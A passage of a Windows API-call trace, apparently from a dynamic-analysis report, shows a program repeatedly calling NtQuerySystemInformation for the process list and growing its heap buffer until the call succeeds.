ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.197] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2d654) returned 0x431fa6f0 [0195.197] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0x0 [0195.298] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cf26600, Size=0x2048) returned 0x43034090 [0195.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43034090, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x43034090, ResultLength=0x0) returned 0xc0000004 [0195.300] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43034090, Size=0x306c) returned 0x42ef4090 [0195.301] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42ef4090, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x42ef4090, ResultLength=0x0) returned 0xc0000004 [0195.301] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42ef4090, Size=0x4090) returned 0x43074060 [0195.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.302] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x50b4) returned 0x43074060 [0195.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.303] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x60d8) returned 0x43074060 [0195.303] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.303] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x70fc) returned 0x43074060 [0195.304] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.304] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x8120) returned 0x43074060 [0195.304] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.305] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x9144) returned 0x43074060 [0195.305] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.305] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xa168) returned 0x43074060 [0195.305] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.306] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xb18c) returned 0x43074060 [0195.306] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.307] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xc1b0) returned 0x43074060 [0195.307] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.307] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xd1d4) returned 0x43074060 [0195.308] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.308] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xe1f8) returned 0x43074060 [0195.308] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.309] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xf21c) returned 0x43074060 [0195.309] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.309] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x10240) returned 0x43074060 [0195.310] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.310] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x11264) returned 0x43074060 [0195.310] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.311] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x12288) returned 0x43074060 [0195.311] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.312] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x132ac) returned 0x43074060 [0195.312] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.313] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x142d0) returned 0x43074060 [0195.313] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.314] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x152f4) returned 0x43074060 [0195.314] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.314] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x16318) returned 0x43074060 [0195.315] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.315] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1733c) returned 0x43074060 [0195.315] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.316] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x18360) returned 0x43074060 [0195.316] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.317] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x19384) returned 0x43074060 [0195.317] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.317] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1a3a8) returned 0x43074060 [0195.318] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.318] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1b3cc) returned 0x43074060 [0195.319] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.319] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1c3f0) returned 0x43074060 [0195.319] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.320] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1d414) returned 0x43074060 [0195.320] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.321] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1e438) returned 0x43074060 [0195.321] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.321] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1f45c) returned 0x43074060 [0195.322] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.322] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x20480) returned 0x43074060 [0195.323] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.323] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x214a4) returned 0x43074060 [0195.323] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.324] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x224c8) returned 0x43074060 [0195.324] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.325] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x234ec) returned 0x43074060 [0195.325] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.326] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x24510) returned 0x431fa6f0 [0195.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.326] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x25534) returned 0x431fa6f0 [0195.327] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.329] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x26558) returned 0x431fa6f0 [0195.329] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.329] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2757c) returned 0x431fa6f0 [0195.330] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.330] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x285a0) returned 0x431fa6f0 [0195.331] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.331] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x295c4) returned 0x431fa6f0 [0195.331] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.332] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2a5e8) returned 0x431fa6f0 [0195.332] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.333] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2b60c) returned 0x431fa6f0 [0195.333] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.334] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2c630) returned 0x431fa6f0 [0195.334] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.335] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2d654) returned 0x431fa6f0 [0195.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0x0 [0195.438] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cf26600, Size=0x2048) returned 0x43034090 [0195.439] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43034090, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x43034090, ResultLength=0x0) returned 0xc0000004 [0195.440] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43034090, Size=0x306c) returned 0x42ef4090 [0195.440] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42ef4090, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x42ef4090, ResultLength=0x0) returned 0xc0000004 [0195.441] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42ef4090, Size=0x4090) returned 0x43074060 [0195.441] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.441] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x50b4) returned 0x43074060 [0195.442] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.442] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x60d8) returned 0x43074060 [0195.442] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.443] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x70fc) returned 0x43074060 [0195.443] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.443] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x8120) returned 0x43074060 [0195.444] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.444] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x9144) returned 0x43074060 [0195.444] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.445] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xa168) returned 0x43074060 [0195.445] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.445] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xb18c) returned 0x43074060 [0195.446] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.446] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xc1b0) returned 0x43074060 [0195.446] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.447] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xd1d4) returned 0x43074060 [0195.447] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.447] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xe1f8) returned 0x43074060 [0195.447] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.448] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xf21c) returned 0x43074060 [0195.448] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.449] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x10240) returned 0x43074060 [0195.449] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.449] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x11264) returned 0x43074060 [0195.450] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.450] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x12288) returned 0x43074060 [0195.450] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.451] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x132ac) returned 0x43074060 [0195.451] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.452] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x142d0) returned 0x43074060 [0195.452] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.452] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x152f4) returned 0x43074060 [0195.452] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.453] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x16318) returned 0x43074060 [0195.453] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.453] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1733c) returned 0x43074060 [0195.485] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.486] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x18360) returned 0x43074060 [0195.487] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.488] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x19384) returned 0x43074060 [0195.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.489] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1a3a8) returned 0x43074060 [0195.490] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.491] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1b3cc) returned 0x43074060 [0195.491] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.492] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1c3f0) returned 0x43074060 [0195.492] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.493] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1d414) returned 0x43074060 [0195.493] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.494] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1e438) returned 0x43074060 [0195.494] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.495] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1f45c) returned 0x43074060 [0195.495] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.496] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x20480) returned 0x43074060 [0195.496] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.496] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x214a4) returned 0x43074060 [0195.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.497] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x224c8) returned 0x43074060 [0195.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.498] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x234ec) returned 0x43074060 [0195.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.499] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x24510) returned 0x431fa6f0 [0195.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.501] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x25534) returned 0x431fa6f0 [0195.502] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.502] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x26558) returned 0x431fa6f0 [0195.503] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.503] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2757c) returned 0x431fa6f0 [0195.503] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.504] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x285a0) returned 0x431fa6f0 [0195.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.505] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x295c4) returned 0x431fa6f0 [0195.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.506] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2a5e8) returned 0x431fa6f0 [0195.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.506] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2b60c) returned 0x431fa6f0 [0195.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.507] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2c630) returned 0x431fa6f0 [0195.508] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x431fa6f0, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x431fa6f0, ResultLength=0x0) returned 0xc0000004 [0195.508] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x431fa6f0, Size=0x2d654) returned 0x431fa6f0 [0195.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, 